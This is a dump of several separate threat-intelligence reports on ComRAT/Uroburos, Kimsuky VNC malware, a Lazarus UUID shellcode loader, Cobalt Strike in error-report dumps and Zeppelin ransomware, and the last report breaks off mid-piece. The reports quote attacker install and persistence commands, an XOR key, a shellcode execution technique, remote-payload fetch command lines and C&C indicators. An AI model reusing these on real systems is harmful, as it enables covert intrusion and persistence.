text
stringlengths 8
115k
|
---|
# The Uroburos Case: New Sophisticated RAT Identified
In February 2014, the experts of the G DATA SecurityLabs published an analysis of Uroburos, the rootkit with Russian roots. We explained that a link exists between Uroburos and the Agent.BTZ malware, which was responsible for "the most significant breach of U.S. military computers ever." Nine months later, after the buzz around Uroburos, aka Snake or Turla, we identified a new generation of Agent.BTZ. We dubbed it ComRAT and, by now, analyzed two versions of the threat (v3.25 and v3.26).
As reported earlier this year, Agent.BTZ used the same encoding key and the installation log file name as Uroburos. ComRAT, in its version 3.25, shows the same behavior. Furthermore, the attackers also shared a C&C domain. The latest version of ComRAT known to us (v3.26) uses a new key and does not create the installation log file, in order to complicate the analysis and to disguise the link between the two cases.
Another very interesting fact: the attackers use COM Object hijacking, the same persistence mechanism as COMpfun, which we described recently. Taken everything into consideration, the indications we saw during our analyses lead to the supposition that the group behind Agent.BTZ and Uroburos is still active and is pursuing the Agent.BTZ path once more to improve and change the RAT.
## Dropper
The analyzed file is the latest version we identified: v3.26. The version identification is described in the chapter “Log files.” The major difference between this version and the older version(s) will be described there.
### File Installation
The first task of the malware is to install the file `credprov.tlb` in `%APPDATA%\Microsoft\`. This file is the main payload of the malware. The dropper executes the following command in order to install a second file:
```
rundll32.exe %APPDATA%\Microsoft\credprov.tlb,Install %APPDATA%\Microsoft\shdocvw.tlp
```
The second file is `shdocw.tlp`. The two files are Microsoft Windows dynamic libraries.
### Persistence
To be started during the boot process of the infected machine, the malware creates the following registry key:
```
HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32 = %APPDATA%\shdocvw.tlp
```
This registry key is used to associate the library `shdocvw.tlp` to the object `42aedc87-2188-41fd-b9a3-0c966feabec1` as previously explained in the article about COMpfun. The purpose is to load the library into each and every process executed on the infected system.
### Dropper’s Log File
If the version of the malware is older than 3.26, the dropper creates an additional file called `winview.ocx`. We noticed that the file name is still the same as the file name used by Agent.BTZ in the past. The file is xored with the following obfuscation key (used by both, Uroburos and Agent.BTZ):
```
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s
```
Here is the decoded log file content:
```
user1@gdata$ ./decode.py winview.ocx
Log begin: 06.11.2014 22:55:55
TVer=2.2
06.11.2014 22:55:55 TVer=2.3
06.11.2014 22:55:55 CFG: CFG_4
06.11.2014 22:55:55 User: user1
06.11.2014 22:55:55 Machine: x86
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\shdocvw.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\oleaut32.dll [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\oleaut32.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\credprov.tlb [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\libadcodec.dll [2]
06.11.2014 22:55:55 Removing C:\Documents and Settings\user1\Application Data\Microsoft\libadcodec.tlb [2]
06.11.2014 22:55:55 Writing C:\Documents and Settings\user1\Application Data\Microsoft\shdocvw.tlb 51200B
Ok
06.11.2014 22:55:56 Writing C:\Documents and Settings\user1\Application Data\Microsoft\credprov.tlb 260096B Ok
06.11.2014 22:55:57 Exit code1 0
06.11.2014 22:55:57 Writing 3072B Ok
```
We can notice that the malware checks if an older version is installed on the system and if this is the case, the dropper removes the older version. In contrast to this, in our Uroburos analysis, we found out that Uroburos does not install itself in case a version of Agent.BTZ was found on a system.
### Execution Flow and Features
During the startup of the infected machine, the `shdocvw.tlp` library is loaded into all processes. If the process is `explorer.exe`, this library will load the other library called `credprov.tlb`. This library is the real payload. Its features are common for a Remote Administration Tool (RAT):
- command execution
- file download
- file upload
- information gathering
ComRAT’s communication to the command and control server is performed by the browser process and not by `explorer.exe` in order to avoid being blocked by a firewall on the system or any additional security products. The communication between the processes is performed by named pipe.
### Log Files
Two log files are created during the malware execution: `mskfp32.ocx` and `msvcrtd.tlb`. If the malware version is older than 3.26, the xored key is the same as the dropper key. Concerning the version 3.26, the malware uses a new non-ASCII key. Here is an example of decoded log file for the version 3.26:
```
user1@gdata$ ./decode.py mskfp32.ocx
<?xml version="1.0" encoding="unicode"?>
<Ch>
<TVer>2.1</TVer>
<AppendLog>0</AppendLog>
<add key="Id" value="168466483094462" />
<add key="PVer" value="3.26" />
<add key="OSVer" value="512600 Service Pack 30" />
<add key="Machine" value="x86" />
<add key="CryptKeyType" value="3" />
<add key="CryptKeyId" value="0" />
<add ke="IsAdmin" value="1" />
<add key="Http idx1" value="4294967295" />
<add key="Http idx2" value="4294967295" />
<add key="Http timeout" value="60" />
<add key="Time" value="06:11:2014 15:54:34" />
<add key="Bias" value="-2" />
<add key="PcName" value="USER1-ABC1234" />
<add key="UserName" value="user1" />
<add key="WinDir" value="C:\\WINDOWS" />
<add key="TempDir" value="C:\\DOCUME~1\\user1\\LOCALE~1\\Temp\\" />
<add key="WorkDir" value="C:\\Documents and Settings\\user1\\Application Data\\Microsoft\\" />
</Ch>
```
We can identify the version of the malware thanks to the `PVer` flag. The command and control server information is stored in the registry, not in an XML, and encoded:
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionMRU\IPlace
```
For example, in the analyzed sample the CC is: `weather-online.hopto.org`. This domain is far from unknown, as it has been mentioned in BAE System’s Uroburos (aka Snake) analysis paper as C&C server domain for the Uroburos malware. Another connection between the cases.
If the malware version is lower than 3.26, the XML log file contains the command and control server information:
```
<add ke="IsAdmin" value="1" />
<add key="Http address" value="webonline.mefound.com" />
<add key="Http address" value="sportacademy.my03.com" />
<add key="Http address2" value="easport-news.publicvm.com" />
<add key="Http address2" value="new-book.linkpc.net" />
<add key="Http idx1" value="4294967295" />
```
## Summary
Let us summarize the similarities and differences between Agent.BTZ, Uroburos, and ComRAT as far as we can:
### Similarities
Before version 3.26:
- use of the same xor key
- use of the same file name for the log
On all versions:
- Some parts of the code are exactly the same (appears to be copy & paste). That is the reason why the sample is detected as Uroburos (aka Turla). The same code was used by Agent.BTZ and also the dll loaded into userland during the Uroburos analysis.
- Command and control server domains are shared between Uroburos and ComRAT.
### Differences
- In version 3.26, the author changed the key and removed the known file name. This action can be an indication for the developer’s effort to hide this connection.
- The main difference is the design. Agent.BTZ is a common RAT, a simple library executed on an infected machine. ComRAT is more complex and cleverer. The malware is loaded into each and every process of the infected machine and the main part (payload) of the malware is only executed in `explorer.exe`. Furthermore, the C&C communication blends into the usual browser traffic and the malware communicates to the browser by named pipe. It is by far a more complex userland design than Agent.BTZ.
These differences, mainly the more complex design, lead us to give this malware a new name. The analyzed dropper of v3.25 has a compilation date of February 6th 2014. The more recent dropper of v3.26, which has all the mentioned changes implemented, reveals a compilation date of January 3rd 2013. We suspect that this date is spoofed in order to disguise that this is in fact a newer version.
## Conclusion
This analysis shows that even after the Uroburos publication in February 2014, the group behind this piece of malware seems to be still active. In any case, the ComRAT developers implemented new mechanisms, changed keys, removed log files to hide their activities, and tried to disguise the connections between the RAT ComRAT, the rootkit Uroburos, and the RAT Agent.BTZ as much as possible. However, we can still follow the evolution of the malware by comparing the versions.
The persistence mechanism discovered in October 2014 makes it possible to intrude into a system in a really discreet manner and we estimate that other actors will use the same persistence mechanism in the near future. We will definitely keep our ears and eyes open and continue analyzing.
## IOC
### MD5
- 51e7e58a1e654b6e586fe36e10c67a73 (dropper v3.25)
- e6ce1f962a47479a86ff2e67129f4ecc (lib1, v3.25)
- ec7e3cfaeaac0401316d66e964be684e (lib2, v3.25)
- 0ae421691579ff6b27f65f49e79e88f6 (dropper v3.26)
- 255118ac14a9e66124f7110acd16f2cd (lib1 v3.26)
- b407b6e5b4046da226d6e189a67f62ca (lib2, v3.26)
- 8ebf7f768d7214f99905c99b6f8242dc (dropper, unknown version)
- 9d481769de63789d571805009cbf709a (dropper, unknown version)
- 83a48760e92bf30961b4a943d3095b0a (lib 64-Bit, unknown version)
- ea23d67e41d1f0a7f7e7a8b59e7cb60f (lib 64-Bit; unknown version)
### Paths
- `%APPDATA%\Microsoft\shdocvw.tlb`
- `%APPDATA%\Microsoft\oleaut32.dll`
- `%APPDATA%\Microsoft\oleaut32.tlb`
- `%APPDATA%\Microsoft\credprov.tlb`
- `%APPDATA%\Microsoft\libadcodec.dll`
- `%APPDATA%\Microsoft\libadcodec.tlb`
### Registry
- `HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32`
### Command and Control
- `weather-online.hopto.org`
- `webonline.mefound.com`
- `sportacademy.my03.com`
- `easport-news.publicvm.com`
- `new-book.linkpc.net`
|
# VNC Malware (TinyNuke, TightVNC) Used by Kimsuky Group
October 20, 2021
While monitoring Kimsuky-related malware, the ASEC analysis team has recently discovered that VNC malware was installed via AppleSeed remote control malware. VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other computers. Similar to the commonly-used RDP, it is used to remotely access and control other systems.
Kimsuky group installs AppleSeed backdoor on the target system after the initial compromise, then additionally installs VNC malware via AppleSeed to ultimately control the target system in a graphical environment. One of the VNC malware that is installed is TinyNuke.
## 1. TinyNuke (HVNC)
TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016, and it includes features such as HVNC (Hidden Desktop/VNC), reverse SOCKS4 proxy, and form grabbing. Due to its source code revealed in 2017, TinyNuke is used by various attackers, and the HVNC and Reverse SOCKS4 Proxy features are partially borrowed by other malware such as AveMaria and BitRAT.
Among the various features of TinyNuke that are being distributed, only the HVNC feature is enabled. A difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the PC is infected and its screen is being controlled. The following shows the process tree when HVNC is enabled.
explorer.exe (PID: 3140) is the child process of explorer.exe (PID: 2216), and is found in the process tree. The attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical User Interface) of the process created while the attacker is controlling the target PC is not visible on the target PC screen. This type of VNC remote access is called HVNC (Hidden Virtual Network Computing).
Another characteristic is that it uses the reverse VNC method. VNC consists of a server and a client. It installs the VNC server on the control target system, and the user who wishes to control the system remotely uses the VNC client. It gains control of the VNC client by going through the VNC server installed on the remote control target system.
In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC client. However, HVNC of TinyNuke attempts to access the client from the server with the reverse VNC feature. This means that when HVNC of the infected system is run, the awaiting attacker accesses the designated C&C server and uses the VNC client (server for HVNC) on the C&C server to gain remote control. It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access from the outside and to support communication in a private IP environment.
Note that TinyNuke uses “AVE_MARIA” string for verification when establishing HVNC communication between the server and the client. This means that when “AVE_MARIA” string is sent from the HVNC client to the server, the server verifies the name, and HVNC communication can be enabled if “AVE_MARIA” is correct. This is identical to that of HVNC used by Kimsuky group; however, recently there have been HVNCs using “LIGHT’s BOMB” string.
## 2. TightVNC (VNC)
Another VNC malware distributed via AppleSeed backdoor is TightVNC. TightVNC is an open-source VNC utility, and the attacker customizes it to use it. TightVNC can be regarded as a normal VNC utility, but it is different in that it supports the reverse VNC feature discussed earlier.
TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module. In a normal environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in the user environment. In order to use the reverse VNC feature, it runs tvnviewer in listening mode on the client, then uses tvnserver that is installed as a service on the access target system to set the client address using controlservice and connect commands for access gain.
Kimsuky group distributes tvnserver, and it is customized so that the reverse VNC feature can be used in the infected environment without installing a service. Simply running tvnserver will allow the attacker to access tvnviewer that operates on the C&C server and gain control of the screen of the infected system.
## 3. Conclusion
As introduced in the previous blog post, Kimsuky group uses AppleSeed to install Meterpreter, a different backdoor malware, and uses TinyNuke, TightVNC, and RDP Wrapper for screen control. There is also evidence of the use of Mimikatz for account info-stealing.
| Feature | Tool Name |
|----------------------------|-------------------------------|
| Remote Control | AppleSeed, Meterpreter |
| Screen Control | TinyNuke, TightVNC, RDP Wrapper|
| Account Info-stealing | Powerkatz |
Kimsuky group’s malware trend is being monitored constantly, and users need to take extra caution when opening attachments in emails from unknown sources and refrain from visiting untrusted websites.
### Alias Information
- Trojan/Win.VNC (2021.09.16.00)
- Trojan/Win.TinyNuke (2021.09.16.03)
- Trojan/Win.HVNC (2021.09.18.01)
### IOC
**[TinyNuke]**
**[MD5]**
- 00ced88950283d32300eb32a5018dada
- 535827d41b144614e582167813fbbc4c
- 67aa7ddecc758dddfa8afc9d4c208af1
- 93efab6654a67af99bbc7f0e8fcf970f
- f7839eeb778ff17cf3c3518089f9bbec
- dd90cb5dcd7bd748baa54da870df606c
- 5bd6cb6747f782c0a712b8e1b1f0c735
- 16c0e70e63fcb6e60d6595eacbd8eeba
**[C&C]**
- 27.102.102.70:33890
- 27.102.112.58:33890
- 31.172.80.104:3030
- 27.255.81.109:33890
- 27.255.81.71:33890
- 79.133.41.237:3030
**[TightVNC]**
**[MD5]**
- 26eaff22da15256f210762a817e6dec9
- 088cb0d0628a82e896857de9013075f3
- 9a71e7e57213290a372dd5277106b65a
- db4ff347151c7aa1400a6b239f336375
- 4301a75d1fcd9752bd3006e6520f7e73
- a07ddce072d7df55abdc3d05ad05fde1
- 5b6da21f7feb7e44d1f06fbd957fd4e7
- be14ced87e2203ad5896754273511a14
- 4fdba5a94e52191ce9152a0fe1a16099
- bb761c2ac19a15db657005e7bc01b822
**[C&C]**
- 27.102.114.79:5500
- 27.102.127.240:5500
- 31.172.80.104:5500
- 27.102.114.89:5500
- 27.102.128.169:5500
- 27.255.81.109:5500
- 31.172.80.104:5500
- 61.14.211.175:5500
- 27.255.81.71:5500
Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information.
**Categories:** Malware Information
**Tagged as:** HVNC, Kimsuky, TightVNC, TinyNuke, VNC
|
# RIFT: Analysing a Lazarus Shellcode Execution Method
## About the Research and Intelligence Fusion Team (RIFT)
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
On January 21st, the following malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to the Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn) was also recently documented by ESET in their Operation In(ter)ception paper.
**New loader by #Lazarus – Operation In(ter)ception**
🔹 Reused decoy and obfuscated macros
🔹 Loader compiled on 2021-01-12
🔹 Creates a bloated copy of msiexec.exe
🔹 Scheduled task with VBS for persistence
🔹 Indirect command execution with pcalua.exe
After analysing the macro document, and pivoting on the macro, NCC Group’s RIFT identified a number of other similar documents. In these documents, we came across an interesting technique being used to execute shellcode from VBA without the use of common “suspicious” APIs, such as `VirtualAlloc`, `WriteProcessMemory`, or `CreateThread` – which may be detected by endpoint protection solutions. Instead, the macro documents abuse “benign” Windows API features to achieve code execution.
## Shellcode Execution Technique
After extracting the macro, we can see that the VBA macro declares a number of API calls. An alias is registered in an attempt to make these API calls appear less suspicious. Once these are renamed, we can easily see what the macro is doing:
1. First, macro execution is triggered using the “Microsoft Forms 2.0 Frame” ActiveX control, using the `Frame1_Layout` event.
2. Once triggered, it creates a new executable heap via `HeapCreate`.
3. It then allocates some memory on the newly created heap using `HeapAlloc`.
4. It then calls `FindImage1`, `FindImage2`, and `FindImage3` user-defined VBA functions.
Looking at the `FindImage` functions, we can notice something interesting. The code is using the `UuidFromStringA` Windows API function and iterating through a large list of hardcoded UUID values, each time providing a pointer into the previously allocated heap. This seems interesting as it appears to be a way of writing data to the (executable) heap!
If we check the Microsoft documentation for the `UuidFromStringA` function, we can see that it takes a string-based UUID and converts it to its binary representation. It takes a pointer to a UUID, which will be used to return the converted binary data. By providing a pointer to a heap address, this function can be (ab)used to both decode data and write it to memory without using common functions such as `memcpy` or `WriteProcessMemory`.
Microsoft uses little-endian byte-order for storing GUIDs in binary form. Converting shellcode bytes to a GUID string in Python is as simple as:
```python
u = '\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF'
uuid.UUID(bytes_le=u)
```
To convert it from a string to bytes:
```python
uuid.UUID('1f748bef-481c-fe01-8b34-ae4801f799ff').bytes_le
```
Looking back at the main function of the macro, we can see that after decoding the shellcode from UUID values and writing it to the heap, it calls `EnumSystemLocalesA`.
Again, looking at the MSDN page, we find the following description: From this we can deduce that the `lpLocaleEnumProc` parameter specifies a callback function! By providing the address returned previously by `HeapAlloc`, this function can be (ab)used to execute shellcode. Searching on the internet reveals that this technique was previously documented by Jeff White. Their blog lists a large number of other APIs which could be abused to achieve a similar result.
## Re-Implementing in C
In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign `calc` shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.
When we run the executable, we can see that the `calc` shellcode is written to the heap and executes when we call `EnumSystemLocalA`.
## Decoding the Macro
The following script was created to extract and decode the shellcode from the sample. We confirmed that the script works for other related samples we have in our dataset. Whilst some of them (such as the one shared by CheckPoint) are more heavily obfuscated, the shellcode encoding (via GUIDs) is the same.
Executing the extracted shellcode, we can confirm the IOCs that were shared in CheckPoint’s original Tweet, as well as the AnyRun report. Florian Roth also shared that this sample is detected with this Sigma rule.
## Samples
The following samples were identified:
- 47a342545d8df9c2c1e0e945f2c4fca3a440dc00cff40727abff12d307c8c788
- bdf9fffe1c9ffbeec307c536a2369eefb2a2c5d70f33a1646a15d6d152c2a6fa
- cabb45c99ffd8dd189e4e3ed5158fac1d0de4e2782dd704b2b595db5f63e2610
- 949bfce2125d76f2d21084f187c681397d113e1bbdc550694a7bce7f451a6e69
- f188eec1268fd49bdc7375fc5b77ded657c150875fede1a4d797f818d2514e88
## IOCs
| Type | Data | File Hash |
|-----------|-------------------------------------------------------------|---------------------------------------------------------------|
| Folder | C:\ProgramLogs\ | N/A |
| Scheduled | C:\Windows\Tasks\ProgramLogsSrv.job | N/A |
| Task | Command: C:\Windows\system32\wscript.EXE | N/A |
| Line | “C:\ProgramLogs\PerformLogs.vbs” | |
| Command | C:\ProgramLogs\AdvancedLog.exe /Q /i | N/A |
| Line | “hxxp://crmute[.]com/custom.css” | |
| Command | C:\Windows\System32\pcalua.exe -a | N/A |
| Line | “C:\ProgramLogs\AdvancedLog” -c /Q /i | “hxxp://crmute[.]com/custom.css” |
| File | C:\ProgramLogs\NvWatchdog.bin | |
| File | C:\ProgramLogs\AdvancedLog.exe | d6b55dae813a4acd461d1d36ff7ef2597b6a8112feb07fac0cfc46af963690dc |
| File | C:\ProgramLogs\PerformLogs.vbs | c0c8a97a04b4d3c7709760fcbe36dc61e3cec294ed4180069131df53b4211da |
| File | C:\ProgramLogs\wmp.dll | N/A – copy of wmp.dll |
| Folder | C:\Windows\System32\Tasks\IntelGfx | N/A |
| Scheduled | C:\Windows\Tasks\IntelGfx.job | |
| Task | File: C:\Intel\hidasvc.exe | N/A – copy of wmic.exe |
| Scheduled | C:\Windows\Tasks\OneDrive_{7F240FD2-1938-3F2C-D928-163749E2C782}.job | |
| Folder | C:\OneDrive | N/A – copy of wmic.exe |
| File | C:\Intel\hidasvc.exe | N/A – copy of wmic.exe |
| Scheduled | C:\Windows\Tasks\IntelGfx.job | |
| Task | Command: %COMSPEC% /c Start /miN c:\Intel\hidasvc | N/A |
| Line | ENVIRONMENT get STATUS | |
| Command | %COMSPEC% /c START /MIN | |
| Line | C:\OneDrive\OneDriveSync ENVIRONMENT GET | |
| Line | STATUS /FORMAT:”hxxps://www.advantims[.]com/GfxCPL.xsl” | |
| Command | %COMSPEC% /c START /MIN | |
| Line | C:\OneDrive\OneDriveSync ENVIRONMENT GET | |
| Line | STATUS /FORMAT:”hxxps://www.advantims[.]com/Sync.xsl” | |
|
# Extracting Cobalt Strike from Windows Error Reporting
**April 19, 2022**
**Written By Blake**
Introducing malware into a network can often cause problems. You’re adding unknown software into an unknown environment, and while there’s a lot of testing put into preventing application crashes, it cannot be guaranteed. Often during investigations, we’ll see surges in application crashes following the actor's presence due to abnormal behaviors on the network.
Windows Error Reporting is the native control for handling application crashes, leaving behind some handy logging and dumps that can help track an actor's presence. This entry will go through how we can extract Cobalt Strike from a Windows Error Reporting process dump. This can be a great method of detecting abnormal behavior after a process crashed.
## What is Windows Error Reporting?
Windows Error Reporting (WER) acts as a debugging layer when an application crashes or hangs. Depending on the process-specific settings, this can provide some useful troubleshooting information including:
1. A report on the state of the application when it crashed,
2. Process Dump,
3. Digital Certificate and Application Compatibility references.
The report is the only guaranteed file created with Windows Error Reporting. These files get stored within two paths by default, one for more recent entries and one for more historic entries. They have the following paths:
1. `C:\ProgramData\Microsoft\Windows\WER\ReportQueue`
2. `C:\ProgramData\Microsoft\Windows\WER\ReportArchive`
The process dumps can be configured to allow for process-specific settings. This can be particularly useful when you know an actor is reliably crashing a specific process, like a web shell crashing `w3wp`. You can access the process-specific settings at:
`HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\LocalDumps\`
Within the LocalDumps key, you can configure:
1. DumpCount: # of dumps to keep before rollover.
2. DumpFolder: Where to output the process dumps.
3. DumpType:
- 0. Custom Dump
- 1. Mini Dump
- 2. Full Dump (Process)
Enhancing the data collected for that single process can give you an analytic edge on the actor's actions while also ensuring you don’t fill up the hard drive.
## The Scenario
Note: I’ve replicated this scenario from a previous investigation. If you’d like a copy of the dump, let me know! :)
During an investigation, I had YARA flag some Cobalt Strike rules on a Windows Error Reporting dump for a native Windows process. This process was set to collect a full process dump, so we had about 400MB worth of memory to dig through.
Looking at the `report.wer`, there are no interesting module loads. This makes sense though; if it is Cobalt Strike, it’s going to be reflectively loaded. Once we load the process into `windbg`, we can cross-check the loaded modules in the `report.wer` against the loaded module addresses.
## Windbg
### The Error
The first command you should run when investigating a crash dump is `!analyze -v`. This will give you some basic analytics around why the command crashed and can give a better understanding of what the actor was doing.
From the NTSTATUS Code `0xC0000005`, we know that there was an access violation pointing to `0xffffffffffffffff`.
### Finding the YARA hit
We can do a search for the YARA strings that hit on the process dump to get a region where Cobalt Strike might be loaded. Doing a search for three of the strings, we can find they’re all located within two similar memory regions.
We can do a search for MZ headers within those MZ address ranges. We can pull out the two headers that are just before our strings. Now that we have the address of the DLLs (address minus `0x4e`), it doesn’t line up with any of our loaded modules.
When we look at the DLL address in the memory panel, we instantly see three of our main PE executable signs:
1. MZ header
2. This program cannot be run in DOS mode
3. PE header
### Accessing the PE Header
Reading the image DOS header, we can get the address of the PE header location from `e_lfanew`. Adding the offset to the address, we can confirm that we have the “PE” header using the display ASCII command.
Parsing that address using the `_IMAGE_NT_HEADERS` shows the contents of the PE header.
The final entry in the above image, “Size of Image”, gives us a rough size of the DLL. If we add the size of the image to the base address of the DLL, we can see the expected end address for the DLL. Referring back to the YARA string addresses, we can confirm that those strings are located within the memory region for our DLL.
Now that we’ve confirmed the start and end address, we can export that memory region to get a copy of the Cobalt Strike module.
Note: It’s worth noting that you won’t get a perfect copy of the DLL. Usually, the SizeOfImage is inaccurate and will result in garbage being written to the end of the file because we’ve written too much.
### Parsing the Config
We can now use a config parser to extract the Cobalt Strike config from the DLL. This gives us further indicators of compromise to continue searching across the network for. From this, we can see that the default Cobalt Strike config is being used.
## Wrap Up
Windows Error Reporting is a super valuable artifact. I’ve used it to detect everything from DLL injection to lateral movement to credential dumping. If you know that an actor's presence is purposely crashing a process, you can use that knowledge to gather more detailed process dumps.
Quick one this week, just getting back into blogging after a couple of conference talks. As always, hit me up on Twitter with any questions.
|
# FLASHPOINT HUNT TEAM: Zeppelin Ransomware Analysis
Flashpoint’s Hunt Team comprises talented researchers who specialize in identifying, investigating, and mitigating cyber threats. One of the recent examples of work provided by The Hunt Team analysts was extensive analysis of Zeppelin ransomware. Zeppelin was one of the most sophisticated and, therefore, expensive ransomware builders put on the underground market. It was one of the first examples of a sophisticated ransomware builder for sale that did not require affiliation with a criminal group in order to operate the ransomware. Because of this, it is impractical to associate “Zeppelin” attacks with any group since their business model essentially made it a Ransomware-as-a-Franchise.
## ZEPPELIN ORIGINS
It all started on November 5, 2019, when a threat actor posted on top-tier Russian-language hacking forums offering a new ransomware builder named “Zeppelin.” The Zeppelin builder’s notable features included the ability to execute arbitrary commands before starting the search, data encryption, and deliberate inability to execute on systems of the countries of the Commonwealth of Independent States (including Russia, Ukraine, Belarus, and Kazakhstan). In addition, the ransom note is completely customizable including content, language, and method of contacting the malicious actor. For example, this ransom note was written in Turkish and listed the contact address as a Gmail account.
The first reports of Zeppelin ransomware infections appeared just a day after the initial offering, targeting tech and healthcare companies in Europe as well as the United States. Samples were hosted on water-holed websites and, in the case of the PowerShell loader, on Pastebin. According to various researchers, at least some of the attacks were conducted through managed security service providers (MSSPs).
## TECHNICAL ANALYSIS
The distinct feature of the Zeppelin ransomware is that it encrypts files on the victim’s computer with a custom extension and always prepends each with the same bytes. Ransomware prepends the hardcoded marker string “ZEPPELIN” to the beginning of each encrypted file. This is followed by an 8-byte length of encrypted data and an 8-byte length of original data, which includes a 3-byte "666" string that the ransomware adds to every file before the encryption.
Flashpoint analysts were able to uncover key features of the ransomware builder such as its position among the existing RaaS ecosystem, anti-analysis and anti-execution techniques, geopolitical affiliations, encryption standards, and unique features allowing for the creation of precise signatures that can be used by intrusion detection systems.
Analysts uncovered that although the Zeppelin ransomware is an enhanced version of “Buran” ransomware and uses the same implementation of RSA + RSA + AES and RNG for encryption and decryption functionality, the rest of the build, from functionality to installation mechanisms, is completely different and a stand-alone product.
The builder executable is able to create any number of 2048-bit RSA keys, which it saves in the “master.key” file. The public key from the RSA pair is hard-coded in several executables that are also generated by the builder: the master unlocker executable and the ransomware itself (in EXE, DLL, or PS1 form). It is possible to generate numerous keys and therefore create numerous strains of the ransomware, each of which requires its own master unlocker. As an additional level of complexity, the seed that the builder uses for key generation is a timestamp counter, which is different for every actor and machine that uses the builder to generate a set of master keys.
Flashpoint analysts confirmed that the master builder that is generated with one set of keys cannot decrypt files that have been encrypted with different sets of master RSA-2048 keys. This feature ensures only the operator who creates the particular strain of Zeppelin ransomware can subsequently decrypt files encrypted with this strain.
It is not unusual for malware writers to use various obfuscation methods to make executables more difficult to detect or analyze. Zeppelin RaaS creators went a step further and created various methods to thwart not only analysis but also the usage of the ransomware builder by unwanted groups. By examining the API calls, Flashpoint analysts were able to view the check that the executable performs to make sure the operator of the ransomware is a Russian speaker and/or a citizen of countries of the Commonwealth of Independent States. The program checks the computer locale, as well as the user’s preferred and default languages, keyboard layout, and calendar information.
## FINAL THOUGHTS
Zeppelin offering showed that the RaaS made a leap in maturation in the tactics, techniques, and procedures (TTPs) of threat actors leveraging ransomware—either for more substantial financial gain or as a distraction from other illicit activities which brings ransomware once again to the top of the list of information security teams. This comprehensive approach to the analysis of Zeppelin provided our clients with extensive IOCs related to this specific ransomware as well as unique insight into trends of modern ransomware in general. Ultimately, this leads the private and public sector to better determine the appropriate alerting capabilities needed and a thorough threat assessment of this ransomware for potential similar ransomware in the future.
## ABOUT FLASHPOINT
Flashpoint is the globally trusted leader in risk intelligence for organizations that demand the fastest, most comprehensive coverage of threatening activity on the internet. From bolstering cyber and physical security to detecting fraud and insider threats, Flashpoint partners with customers across the private and public sectors to help them rapidly identify threats and mitigate their most critical security risks.
|
# The Blurry Boundaries Between Nation-State Actors and the Cybercrime Underground
When it comes to attributing malicious cyber activity, actors generally fall into two categories: “financially-motivated” or “nation-state.” The former is primarily interested in money, while the latter seeks to obtain or exploit sensitive information for an advantage over governments or commercial entities. For the past decade, defenders could typically discern whether attackers fit into these categories by examining tools, infrastructure, techniques, and processes. However, as cybercriminal work becomes increasingly lucrative, the border between these categories is eroding. The lines between nation-state objectives and financially-motivated cybercrime have blurred, particularly within the cybercrime underground.
Whether nation-state threat actors are “moonlighting” in financially-motivated cybercrime or co-opting financially-motivated cybercriminals, Intel 471 has observed a steady change in behavior where nation-states are increasingly incorporating the cybercrime underground to achieve their goals.
## An Opportunity Seized
One of the first instances of this behavior emerged in the heart of the cybercrime underground: Russia. In 2014, the ZeuS trojan was one of the most prolific pieces of malware, described by security researchers as “smooth, effective, and versatile.” That year, law enforcement discovered a variant of ZeuS, known as GameOver, being used to obtain credentials from Georgian intelligence officers and elite Turkish police units to access classified Ukrainian secrets and information on Russian arms dealing. It appeared that the malware’s author, Yevgeniy Bogachev, was aware that GameOver was being used as an intelligence tool, despite its primary use for financial crime. It’s likely that Russian law enforcement, monitoring Bogachev’s actions, saw an opportunity to leverage GameOver for state objectives while overlooking its role in financial crimes.
In a similar turn of events, an Iranian-linked actor who surfaced in the cybercrime underground in 2016 eventually carried out actions linked to Iranian state activities. Operating under the handle bc.monster, this actor was known for being sophisticated and experienced, likely behind several major data breaches, including the compromise of the Citrix Systems corporate network in late 2018. Despite making money in the cybercrime underground, Intel 471 discovered that bc.monster’s methods mirrored those used by actors linked to the Mabna Institute, an Iranian organization tied to the Islamic Revolutionary Guard Corps. While no direct evidence linked bc.monster to the Mabna Institute, several common tactics, techniques, and procedures (TTPs) were identified.
## Room For Growth
Over the past few years, aggressive nation-states have found ways to co-opt the cybercrime underground into their efforts. What was once seen as serendipity is now standard operating procedure. Nation-states often look to the know-how contained in the cybercrime underground as a means to achieve their missions.
### Iran
